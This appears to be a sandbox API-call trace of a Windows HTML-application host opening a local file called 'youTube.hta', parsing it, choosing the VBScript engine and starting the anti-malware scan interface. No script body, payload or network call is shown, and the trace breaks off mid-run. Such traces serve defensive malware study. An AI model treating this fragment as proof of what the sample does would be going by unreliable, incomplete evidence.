[0200.518] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0200.519] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0200.526] GetWindowLongW (hWnd=0x3029a, nIndex=-21) returned 104988672
[0200.526] GetMessageTime () returned 30011625
[0200.526] GetMessagePos () returned 0x14c0276
[0200.531] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x6c6a50, hWnd=0x3029a, msg=0x281, wParam=0x0, lParam=0xc000000f, plResult=0x19f71c | out: plResult=0x19f71c) returned 0x0
[0200.532] GetCurrentThreadId () returned 0x7a0
[0200.532] GetWindowLongW (hWnd=0x3029a, nIndex=-21) returned 104988672
[0200.532] GetMessageTime () returned 30011625
[0200.533] GetMessagePos () returned 0x14c0276
[0200.533] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x6c6a50, hWnd=0x3029a, msg=0x281, wParam=0x1, lParam=0xc000000f, plResult=0x19f71c | out: plResult=0x19f71c) returned 0x0
[0200.534] GetCurrentThreadId () returned 0x7a0
[0200.535] CActiveIMMAppEx_Trident:IActiveIMMApp:ReleaseContext (This=0x6c6a50, hWnd=0x3029a, hIMC=0x170399) returned 0x0
[0200.535] GetFocus () returned 0x3029a
[0200.535] GetFocus () returned 0x3029a
[0200.536] StrCmpICW (pszStr1="file:///C:/Users/RDhJ0CNFevzX/Documents/youTube.hta", pszStr2="about:blank") returned 5
[0200.536] ParseURLW (in: pcszURL="file:///C:/Users/RDhJ0CNFevzX/Documents/youTube.hta", ppu=0x19f9f0 | out: ppu=0x19f9f0) returned 0x0
[0200.536] IUnknown:AddRef (This=0x6d993c) returned 0x8
[0200.536] IUri:GetAbsoluteUri (in: This=0x6d993c, pbstrAbsoluteUri=0x19fa88 | out: pbstrAbsoluteUri=0x19fa88*="file:///C:/Users/RDhJ0CNFevzX/Documents/youTube.hta") returned 0x0
[0200.536] IUnknown:Release (This=0x6d993c) returned 0x7
[0200.537] VirtualProtect (in: lpAddress=0x6ee47000, dwSize=0xb44, flNewProtect=0x4, lpflOldProtect=0x6ed33704 | out: lpflOldProtect=0x6ed33704*=0x2) returned 1
[0200.543] GetProcAddress (hModule=0x70a40000, lpProcName=0x201) returned 0x70abb610
[0200.544] VirtualProtect (in: lpAddress=0x6ee47000, dwSize=0xb44, flNewProtect=0x2, lpflOldProtect=0x19f99c | out: lpflOldProtect=0x19f99c*=0x4) returned 1
[0201.077] GetCurrentThreadId () returned 0x7a0
[0201.078] VirtualProtect (in: lpAddress=0x6ee47000, dwSize=0xb44, flNewProtect=0x4, lpflOldProtect=0x6ed33704 | out: lpflOldProtect=0x6ed33704*=0x2) returned 1
[0201.079] GetProcAddress (hModule=0x70a40000, lpProcName="ShouldShowIntranetWarningSecband") returned 0x70ab7f50
[0201.079] VirtualProtect (in: lpAddress=0x6ee47000, dwSize=0xb44, flNewProtect=0x2, lpflOldProtect=0x19f9bc | out: lpflOldProtect=0x19f9bc*=0x4) returned 1
[0201.080] ShouldShowIntranetWarningSecband () returned 0x0
[0201.081] GetIUriPriv () returned 0x0
[0201.081] IUnknown:Release (This=0x6d993c) returned 0x7
[0201.086] IUnknown:QueryInterface (in: This=0x6d993c, riid=0x6dcd333c*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x19f91c | out: ppvObject=0x19f91c*=0x6d993c) returned 0x0
[0201.087] IUnknown:Release (This=0x6d993c) returned 0x7
[0201.087] IUnknown:AddRef (This=0x6d993c) returned 0x8
[0201.087] IUnknown:QueryInterface (in: This=0x6d993c, riid=0x6dcd333c*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x19f91c | out: ppvObject=0x19f91c*=0x6d993c) returned 0x0
[0201.088] IUnknown:Release (This=0x6d993c) returned 0x8
[0201.088] IUnknown:AddRef (This=0x6d993c) returned 0x9
[0201.088] IUnknown:Release (This=0x6d993c) returned 0x8
[0201.088] IUnknown:Release (This=0x6d993c) returned 0x7
[0201.088] QueryPerformanceCounter (in: lpPerformanceCount=0x19f9d8 | out: lpPerformanceCount=0x19f9d8*=3013583043145) returned 1
[0201.088] GetCurrentThreadId () returned 0x7a0
[0201.089] ScreenToClient (in: hWnd=0x3029a, lpPoint=0x19f828 | out: lpPoint=0x19f828) returned 1
[0201.089] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0201.090] GetCurrentThreadId () returned 0x7a0
[0201.090] GetCurrentThreadId () returned 0x7a0
[0201.090] GetCurrentThreadId () returned 0x7a0
[0201.091] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0201.091] StrChrW (lpStart="language", wMatch=0x3a) returned 0x0
[0201.091] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0201.091] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x16) returned 0x74c4b0
[0201.092] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0201.092] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0201.092] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0201.092] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0201.092] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x800) returned 0x76aa30
[0201.093] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xb6) returned 0x76b238
[0201.093] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0201.093] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0201.093] ParseURLW (in: pcszURL="file:///C:/Users/RDhJ0CNFevzX/Documents/youTube.hta", ppu=0x19f984 | out: ppu=0x19f984) returned 0x0
[0201.093] IUnknown:AddRef (This=0x6c0ae0) returned 0x2
[0201.093] IUnknown:AddRef (This=0x6d993c) returned 0x8
[0201.093] CoInternetIsFeatureEnabled (FeatureEntry=0xe, dwFlags=0x2) returned 0x1
[0201.094] IInternetSecurityManager:MapUrlToZone (in: This=0x6ee367bc, pwszUrl="file:///C:/Users/RDhJ0CNFevzX/Documents/youTube.hta", pdwZone=0x19f930, dwFlags=0x0 | out: pdwZone=0x19f930*=0xffffffff) returned 0x800c0011
[0201.094] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1
[0201.094] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1
[0201.094] CoInternetIsFeatureEnabled (FeatureEntry=0xe, dwFlags=0x2) returned 0x1
[0201.094] IInternetSecurityManagerEx2:ProcessUrlActionEx2 (in: This=0x6c0ae0, pUri=0x6d993c, dwAction=0x1400, pPolicy=0x19f934, cbPolicy=0x4, pContext=0x0, cbContext=0x0, dwFlags=0x40, dwReserved=0x0, pdwOutFlags=0x19f914 | out: pPolicy=0x19f934*=0x0, pdwOutFlags=0x19f914*=0x0) returned 0x0
[0201.094] IInternetSecurityManager:ProcessUrlAction (in: This=0x6ee367bc, pwszUrl="file:///C:/Users/RDhJ0CNFevzX/Documents/youTube.hta", dwAction=0x1400, pPolicy=0x19f934, cbPolicy=0x4, pContext=0x0, cbContext=0x0, dwFlags=0x40, dwReserved=0x0 | out: pPolicy=0x19f934*=0x0) returned 0x0
[0201.094] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1
[0201.094] IUnknown:Release (This=0x6c0ae0) returned 0x1
[0201.094] IUnknown:Release (This=0x6d993c) returned 0x7
[0201.094] ParseURLW (in: pcszURL="file:///C:/Users/RDhJ0CNFevzX/Documents/youTube.hta", ppu=0x19f8a0 | out: ppu=0x19f8a0) returned 0x0
[0201.095] IUnknown:AddRef (This=0x6c0ae0) returned 0x2
[0201.095] IUnknown:AddRef (This=0x6d993c) returned 0x8
[0201.095] CoInternetIsFeatureEnabled (FeatureEntry=0xe, dwFlags=0x2) returned 0x1
[0201.095] IInternetSecurityManager:MapUrlToZone (in: This=0x6ee367bc, pwszUrl="file:///C:/Users/RDhJ0CNFevzX/Documents/youTube.hta", pdwZone=0x19f84c, dwFlags=0x0 | out: pdwZone=0x19f84c*=0xffffffff) returned 0x800c0011
[0201.095] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1
[0201.095] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1
[0201.095] CoInternetIsFeatureEnabled (FeatureEntry=0xe, dwFlags=0x2) returned 0x1
[0201.095] IInternetSecurityManagerEx2:ProcessUrlActionEx2 (in: This=0x6c0ae0, pUri=0x6d993c, dwAction=0x1400, pPolicy=0x19f850, cbPolicy=0x4, pContext=0x0, cbContext=0x0, dwFlags=0x40, dwReserved=0x0, pdwOutFlags=0x19f830 | out: pPolicy=0x19f850*=0x0, pdwOutFlags=0x19f830*=0x0) returned 0x0
[0201.095] IInternetSecurityManager:ProcessUrlAction (in: This=0x6ee367bc, pwszUrl="file:///C:/Users/RDhJ0CNFevzX/Documents/youTube.hta", dwAction=0x1400, pPolicy=0x19f850, cbPolicy=0x4, pContext=0x0, cbContext=0x0, dwFlags=0x40, dwReserved=0x0 | out: pPolicy=0x19f850*=0x0) returned 0x0
[0201.095] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1
[0201.095] IUnknown:Release (This=0x6c0ae0) returned 0x1
[0201.095] IUnknown:Release (This=0x6d993c) returned 0x7
[0201.095] ParseURLW (in: pcszURL="file:///C:/Users/RDhJ0CNFevzX/Documents/youTube.hta", ppu=0x19f818 | out: ppu=0x19f818) returned 0x0
[0201.095] IUnknown:AddRef (This=0x6c0ae0) returned 0x2
[0201.095] IUnknown:AddRef (This=0x6d993c) returned 0x8
[0201.095] CoInternetIsFeatureEnabled (FeatureEntry=0xe, dwFlags=0x2) returned 0x1
[0201.096] IInternetSecurityManager:MapUrlToZone (in: This=0x6ee367bc, pwszUrl="file:///C:/Users/RDhJ0CNFevzX/Documents/youTube.hta", pdwZone=0x19f7c4, dwFlags=0x0 | out: pdwZone=0x19f7c4*=0xffffffff) returned 0x800c0011
[0201.096] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1
[0201.096] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1
[0201.096] CoInternetIsFeatureEnabled (FeatureEntry=0xe, dwFlags=0x2) returned 0x1
[0201.096] IInternetSecurityManagerEx2:ProcessUrlActionEx2 (in: This=0x6c0ae0, pUri=0x6d993c, dwAction=0x1400, pPolicy=0x19f7c8, cbPolicy=0x4, pContext=0x0, cbContext=0x0, dwFlags=0x40, dwReserved=0x0, pdwOutFlags=0x19f7a8 | out: pPolicy=0x19f7c8*=0x0, pdwOutFlags=0x19f7a8*=0x0) returned 0x0
[0201.096] IInternetSecurityManager:ProcessUrlAction (in: This=0x6ee367bc, pwszUrl="file:///C:/Users/RDhJ0CNFevzX/Documents/youTube.hta", dwAction=0x1400, pPolicy=0x19f7c8, cbPolicy=0x4, pContext=0x0, cbContext=0x0, dwFlags=0x40, dwReserved=0x0 | out: pPolicy=0x19f7c8*=0x0) returned 0x0
[0201.096] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1
[0201.096] IUnknown:Release (This=0x6c0ae0) returned 0x1
[0201.096] IUnknown:Release (This=0x6d993c) returned 0x7
[0201.096] StrCmpICW (pszStr1="javascript", pszStr2="javascript") returned 0
[0201.096] StrCmpICW (pszStr1="javascript", pszStr2="javascript") returned 0
[0201.096] GetCurrentThreadId () returned 0x7a0
[0201.096] SysStringLen (param_1="file:///C:/Users/RDhJ0CNFevzX/Documents/youTube.hta") returned 0x33
[0201.096] SysStringLen (param_1="file:///C:/Users/RDhJ0CNFevzX/Documents/youTube.hta") returned 0x33
[0201.097] _wcsicmp (_String1="", _String2="") returned 0
[0201.097] malloc (_Size=0x109) returned 0x6368840
[0201.097] malloc (_Size=0x22c) returned 0x6368958
[0201.097] malloc (_Size=0x804) returned 0x6358080
[0201.101] malloc (_Size=0x19c) returned 0x6358890
[0201.101] free (_Block=0x6358890)
[0201.101] wcscpy_s (in: _Destination=0x735c200, _SizeInWords=0xc, _Source="nextLovePow" | out: _Destination="nextLovePow") returned 0x0
[0201.101] malloc (_Size=0xc) returned 0x6327168
[0201.101] malloc (_Size=0xc) returned 0x6327180
[0201.101] malloc (_Size=0x10) returned 0x6327198
[0201.101] malloc (_Size=0x30) returned 0x631fa50
[0201.102] malloc (_Size=0xc) returned 0x63272d0
[0201.102] malloc (_Size=0xc) returned 0x63272b8
[0201.102] malloc (_Size=0x10) returned 0x6327300
[0201.102] malloc (_Size=0x30) returned 0x6367eb8
[0201.102] free (_Block=0x6358080)
[0201.102] free (_Block=0x6368958)
[0201.102] malloc (_Size=0x20) returned 0x63565f8
[0201.102] free (_Block=0x6368840)
[0201.102] malloc (_Size=0xd0) returned 0x6368f08
[0201.102] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x630d7f0 | out: lpSystemTimeAsFileTime=0x630d7f0*(dwLowDateTime=0x75944c63, dwHighDateTime=0x1d7e6dd))
[0201.102] GetTickCount () returned 0x1ca427a
[0201.103] GetCurrentThreadId () returned 0x7a0
[0201.103] GetCurrentThreadId () returned 0x7a0
[0201.103] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x630d7f8 | out: lpSystemTimeAsFileTime=0x630d7f8*(dwLowDateTime=0x75946042, dwHighDateTime=0x1d7e6dd))
[0201.103] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x630d7f0 | out: lpSystemTimeAsFileTime=0x630d7f0*(dwLowDateTime=0x75946042, dwHighDateTime=0x1d7e6dd))
[0201.103] GetTickCount () returned 0x1ca427a
[0201.103] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x630d7f8 | out: lpSystemTimeAsFileTime=0x630d7f8*(dwLowDateTime=0x75947323, dwHighDateTime=0x1d7e6dd))
[0201.103] free (_Block=0x63565f8)
[0201.103] GetTickCount () returned 0x1ca427a
[0201.103] GetTickCount () returned 0x1ca427a
[0201.103] GetCurrentThreadId () returned 0x7a0
[0201.103] GetCurrentThreadId () returned 0x7a0
[0201.103] GetCurrentThreadId () returned 0x7a0
[0201.103] GetCurrentThreadId () returned 0x7a0
[0201.103] GetCurrentThreadId () returned 0x7a0
[0201.104] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x76aa30 | out: hHeap=0x6b0000) returned 1
[0201.104] GetCurrentThreadId () returned 0x7a0
[0201.104] SetEvent (hEvent=0x29c) returned 1
[0201.104] QueryPerformanceCounter (in: lpPerformanceCount=0x19fb98 | out: lpPerformanceCount=0x19fb98*=3013584681396) returned 1
[0201.105] SetEvent (hEvent=0x304) returned 1
[0201.105] QueryPerformanceCounter (in: lpPerformanceCount=0x64209e0 | out: lpPerformanceCount=0x64209e0*=3013584772297) returned 1
[0201.105] GetCurrentThreadId () returned 0x7a0
[0201.105] GetCurrentThreadId () returned 0x7a0
[0201.105] GetCurrentThreadId () returned 0x7a0
[0201.106] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0201.106] LsSetDoc () returned 0x0
[0201.106] LsCreateLine ()
[0201.190] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0201.190] LsSetDoc () returned 0x0
[0201.190] LsCreateLine () returned 0x0
[0201.191] LsQueryLineDup () returned 0x0
[0201.191] LsDestroyLine () returned 0x0
[0201.191] memcpy_s (in: _Destination=0x19dda0, _DestinationSize=0xc28, _Source=0x6ee393e0, _SourceSize=0xc28 | out: _Destination=0x19dda0) returned 0x0
[0201.191] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0201.192] ScreenToClient (in: hWnd=0x3029a, lpPoint=0x19fad8 | out: lpPoint=0x19fad8) returned 1
[0201.193] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0201.193] GetCurrentThreadId () returned 0x7a0
[0201.193] GetCurrentThreadId () returned 0x7a0
[0201.194] GetCurrentThreadId () returned 0x7a0
[0201.197] GetFocus () returned 0x3029a
[0201.197] GetCurrentThreadId () returned 0x7a0
[0201.197] IsWinEventHookInstalled (event=0x8005) returned 0
[0201.197] GetCurrentThreadId () returned 0x7a0
[0201.197] GetCurrentThreadId () returned 0x7a0
[0201.199] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0201.199] StrChrW (lpStart="language", wMatch=0x3a) returned 0x0
[0201.199] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0201.199] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x12) returned 0x74c5d0
[0201.200] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0201.200] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0201.200] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0201.200] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0201.200] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x800) returned 0x76aa30
[0201.200] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x86) returned 0x769c00
[0201.201] ParseURLW (in: pcszURL="file:///C:/Users/RDhJ0CNFevzX/Documents/youTube.hta", ppu=0x19f984 | out: ppu=0x19f984) returned 0x0
[0201.201] IUnknown:AddRef (This=0x6c0ae0) returned 0x2
[0201.201] IUnknown:AddRef (This=0x6d993c) returned 0x8
[0201.201] CoInternetIsFeatureEnabled (FeatureEntry=0xe, dwFlags=0x2) returned 0x1
[0201.201] IInternetSecurityManager:MapUrlToZone (in: This=0x6ee367bc, pwszUrl="file:///C:/Users/RDhJ0CNFevzX/Documents/youTube.hta", pdwZone=0x19f930, dwFlags=0x0 | out: pdwZone=0x19f930*=0xffffffff) returned 0x800c0011
[0201.201] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1
[0201.201] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1
[0201.201] CoInternetIsFeatureEnabled (FeatureEntry=0xe, dwFlags=0x2) returned 0x1
[0201.201] IInternetSecurityManagerEx2:ProcessUrlActionEx2 (in: This=0x6c0ae0, pUri=0x6d993c, dwAction=0x1400, pPolicy=0x19f934, cbPolicy=0x4, pContext=0x0, cbContext=0x0, dwFlags=0x40, dwReserved=0x0, pdwOutFlags=0x19f914 | out: pPolicy=0x19f934*=0x0, pdwOutFlags=0x19f914*=0x0) returned 0x0
[0201.202] IInternetSecurityManager:ProcessUrlAction (in: This=0x6ee367bc, pwszUrl="file:///C:/Users/RDhJ0CNFevzX/Documents/youTube.hta", dwAction=0x1400, pPolicy=0x19f934, cbPolicy=0x4, pContext=0x0, cbContext=0x0, dwFlags=0x40, dwReserved=0x0 | out: pPolicy=0x19f934*=0x0) returned 0x0
[0201.202] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1
[0201.202] IUnknown:Release (This=0x6c0ae0) returned 0x1
[0201.202] IUnknown:Release (This=0x6d993c) returned 0x7
[0201.202] ParseURLW (in: pcszURL="file:///C:/Users/RDhJ0CNFevzX/Documents/youTube.hta", ppu=0x19f8a0 | out: ppu=0x19f8a0) returned 0x0
[0201.202] IUnknown:AddRef (This=0x6c0ae0) returned 0x2
[0201.202] IUnknown:AddRef (This=0x6d993c) returned 0x8
[0201.202] CoInternetIsFeatureEnabled (FeatureEntry=0xe, dwFlags=0x2) returned 0x1
[0201.202] IInternetSecurityManager:MapUrlToZone (in: This=0x6ee367bc, pwszUrl="file:///C:/Users/RDhJ0CNFevzX/Documents/youTube.hta", pdwZone=0x19f84c, dwFlags=0x0 | out: pdwZone=0x19f84c*=0xffffffff) returned 0x800c0011
[0201.202] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1
[0201.202] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1
[0201.202] CoInternetIsFeatureEnabled (FeatureEntry=0xe, dwFlags=0x2) returned 0x1
[0201.202] IInternetSecurityManagerEx2:ProcessUrlActionEx2 (in: This=0x6c0ae0, pUri=0x6d993c, dwAction=0x1400, pPolicy=0x19f850, cbPolicy=0x4, pContext=0x0, cbContext=0x0, dwFlags=0x40, dwReserved=0x0, pdwOutFlags=0x19f830 | out: pPolicy=0x19f850*=0x0, pdwOutFlags=0x19f830*=0x0) returned 0x0
[0201.203] IInternetSecurityManager:ProcessUrlAction (in: This=0x6ee367bc, pwszUrl="file:///C:/Users/RDhJ0CNFevzX/Documents/youTube.hta", dwAction=0x1400, pPolicy=0x19f850, cbPolicy=0x4, pContext=0x0, cbContext=0x0, dwFlags=0x40, dwReserved=0x0 | out: pPolicy=0x19f850*=0x0) returned 0x0
[0201.203] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1
[0201.203] IUnknown:Release (This=0x6c0ae0) returned 0x1
[0201.203] IUnknown:Release (This=0x6d993c) returned 0x7
[0201.203] ParseURLW (in: pcszURL="file:///C:/Users/RDhJ0CNFevzX/Documents/youTube.hta", ppu=0x19f818 | out: ppu=0x19f818) returned 0x0
[0201.203] IUnknown:AddRef (This=0x6c0ae0) returned 0x2
[0201.203] IUnknown:AddRef (This=0x6d993c) returned 0x8
[0201.203] CoInternetIsFeatureEnabled (FeatureEntry=0xe, dwFlags=0x2) returned 0x1
[0201.203] IInternetSecurityManager:MapUrlToZone (in: This=0x6ee367bc, pwszUrl="file:///C:/Users/RDhJ0CNFevzX/Documents/youTube.hta", pdwZone=0x19f7c4, dwFlags=0x0 | out: pdwZone=0x19f7c4*=0xffffffff) returned 0x800c0011
[0201.203] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1
[0201.203] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1
[0201.203] CoInternetIsFeatureEnabled (FeatureEntry=0xe, dwFlags=0x2) returned 0x1
[0201.203] IInternetSecurityManagerEx2:ProcessUrlActionEx2 (in: This=0x6c0ae0, pUri=0x6d993c, dwAction=0x1400, pPolicy=0x19f7c8, cbPolicy=0x4, pContext=0x0, cbContext=0x0, dwFlags=0x40, dwReserved=0x0, pdwOutFlags=0x19f7a8 | out: pPolicy=0x19f7c8*=0x0, pdwOutFlags=0x19f7a8*=0x0) returned 0x0
[0201.204] IInternetSecurityManager:ProcessUrlAction (in: This=0x6ee367bc, pwszUrl="file:///C:/Users/RDhJ0CNFevzX/Documents/youTube.hta", dwAction=0x1400, pPolicy=0x19f7c8, cbPolicy=0x4, pContext=0x0, cbContext=0x0, dwFlags=0x40, dwReserved=0x0 | out: pPolicy=0x19f7c8*=0x0) returned 0x0
[0201.204] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1
[0201.204] IUnknown:Release (This=0x6c0ae0) returned 0x1
[0201.204] IUnknown:Release (This=0x6d993c) returned 0x7
[0201.204] StrCmpICW (pszStr1="vbscript", pszStr2="javascript") returned 12
[0201.204] StrCmpICW (pszStr1="vbscript", pszStr2="javascript") returned 12
[0201.204] StrCmpICW (pszStr1="vbscript", pszStr2="ecmascript") returned 17
[0201.204] StrCmpICW (pszStr1="vbscript", pszStr2="ecmascript") returned 17
[0201.204] StrCmpICW (pszStr1="vbscript", pszStr2="x-javascript") returned -2
[0201.204] StrCmpICW (pszStr1="vbscript", pszStr2="jscript") returned 12
[0201.204] StrCmpICW (pszStr1="vbscript", pszStr2="vbscript") returned 0
[0201.204] CoCreateInstance (in: rclsid=0x19f7dc*(Data1=0xb54f3741, Data2=0x5b07, Data3=0x11cf, Data4=([0]=0xa4, [1]=0xb0, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4a, [6]=0x55, [7]=0xe8)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x6dcb69f4*(Data1=0xbb1a2ae1, Data2=0xa4f9, Data3=0x11cf, Data4=([0]=0x8f, [1]=0x20, [2]=0x0, [3]=0x80, [4]=0x5f, [5]=0x2c, [6]=0xd0, [7]=0x64)), ppv=0x19f774 | out: ppv=0x19f774*=0x6368880) returned 0x0
[0201.645] malloc (_Size=0x80) returned 0x630b228
[0201.653] __dllonexit () returned 0x659cc960
[0201.653] __dllonexit () returned 0x659cc970
[0201.653] __dllonexit () returned 0x659cc980
[0201.659] GetUserDefaultLCID () returned 0x409
[0201.659] GetVersion () returned 0x295a000a
[0201.659] GetModuleHandleW (lpModuleName="api-ms-win-core-processthreads-l1-1-2.dll") returned 0x74650000
[0201.659] GetProcAddress (hModule=0x74650000, lpProcName="QueryProtectedPolicy") returned 0x75f52bc0
[0201.660] VirtualProtect (in: lpAddress=0x659fe328, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19dde8 | out: lpflOldProtect=0x19dde8*=0x2) returned 1
[0201.660] VirtualProtect (in: lpAddress=0x659fe328, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x19dde8 | out: lpflOldProtect=0x19dde8*=0x4) returned 1
[0201.662] malloc (_Size=0x38) returned 0x6368840
[0201.663] malloc (_Size=0x214) returned 0x6368880
[0201.663] GetUserDefaultLCID () returned 0x409
[0201.663] GetACP () returned 0x4e4
[0201.663] LoadLibraryExW (lpLibFileName="amsi.dll", hFile=0x0, dwFlags=0x800) returned 0x65c30000
[0201.842] GetProcAddress (hModule=0x65c30000, lpProcName="AmsiInitialize") returned 0x65c33d40
[0201.842] GetProcAddress (hModule=0x65c30000, lpProcName="AmsiScanString") returned 0x65c340e0
[0201.843] AmsiInitialize () returned 0x0
[0202.595] free (_Block=0x6368840)
[0202.596] IUnknown:AddRef (This=0x6c0ae0) returned 0x2
[0202.596] IUnknown:AddRef (This=0x6d993c) returned 0x8
[0202.596] CoInternetIsFeatureEnabled (FeatureEntry=0xe, dwFlags=0x2) returned 0x1
[0202.596] IInternetSecurityManager:MapUrlToZone (in: This=0x6ee367bc, pwszUrl="file:///C:/Users/RDhJ0CNFevzX/Documents/youTube.hta", pdwZone=0x19f6a0, dwFlags=0x0 | out: pdwZone=0x19f6a0*=0xffffffff) returned 0x800c0011
[0202.596] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1
[0202.596] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1
[0202.596] CoInternetIsFeatureEnabled (FeatureEntry=0xe, dwFlags=0x2) returned 0x1
[0202.596] IInternetSecurityManagerEx2:ProcessUrlActionEx2 (in: This=0x6c0ae0, pUri=0x6d993c, dwAction=0x1401, pPolicy=0x19f6a4, cbPolicy=0x4, pContext=0x0, cbContext=0x0, dwFlags=0x40, dwReserved=0x0, pdwOutFlags=0x19f684 | out: pPolicy=0x19f6a4*=0x0, pdwOutFlags=0x19f684*=0x0) returned 0x0
[0202.596] IInternetSecurityManager:ProcessUrlAction (in: This=0x6ee367bc, pwszUrl="file:///C:/Users/RDhJ0CNFevzX/Documents/youTube.hta", dwAction=0x1401, pPolicy=0x19f6a4, cbPolicy=0x4, pContext=0x0, cbContext=0x0, dwFlags=0x40, dwReserved=0x0 | out: pPolicy=0x19f6a4*=0x0) returned 0x0
[0202.596] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1
[0202.596] IUnknown:Release (This=0x6c0ae0) returned 0x1
[0202.596] IUnknown:Release (This=0x6d993c) returned 0x7
[0202.739] GetCurrentThreadId () returned 0x7a0
[0202.740] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0202.741] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0202.741] GetCurrentThreadId () returned 0x7a0
[0202.741] malloc (_Size=0xb4) returned 0x6358120
[0202.741] GetCurrentThreadId () returned 0x7a0
[0202.742] malloc (_Size=0x14) returned 0x6368840
[0202.742] malloc (_Size=0x1c) returned 0x63565f8
[0202.742] malloc (_Size=0x78) returned 0x63581e0
[0202.744] malloc (_Size=0x1c) returned 0x6356620
[0202.744] GetCurrentThreadId () returned 0x7a0
[0202.744] malloc (_Size=0x44) returned 0x6368c40
[0202.744] GetCurrentThreadId () returned 0x7a0
[0202.744] GetCurrentThreadId () returned 0x7a0
[0202.745] IsValidLocale (Locale=0x409, dwFlags=0x1) returned 1
[0202.745] GetLocaleInfoA (in: Locale=0x409, LCType=0x1004, lpLCData=0x19f6d0, cchData=6 | out: lpLCData="1252") returned 5
[0202.745] IsValidCodePage (CodePage=0x4e4) returned 1
[0202.752] GetCurrentThreadId () returned 0x7a0
[0202.752] GetCurrentThreadId () returned 0x7a0
[0202.753] GetModuleHandleW (lpModuleName="api-ms-win-core-delayload-l1-1-1.dll") returned 0x75e80000
[0202.754] GetProcAddress (hModule=0x75e80000, lpProcName="ResolveDelayLoadedAPI") returned 0x75f42570
[0202.754] GetProcAddress (hModule=0x75e80000, lpProcName="ResolveDelayLoadsFromDll") returned 0x75fb6250
[0202.755] ResolveDelayLoadedAPI () returned 0x75530060
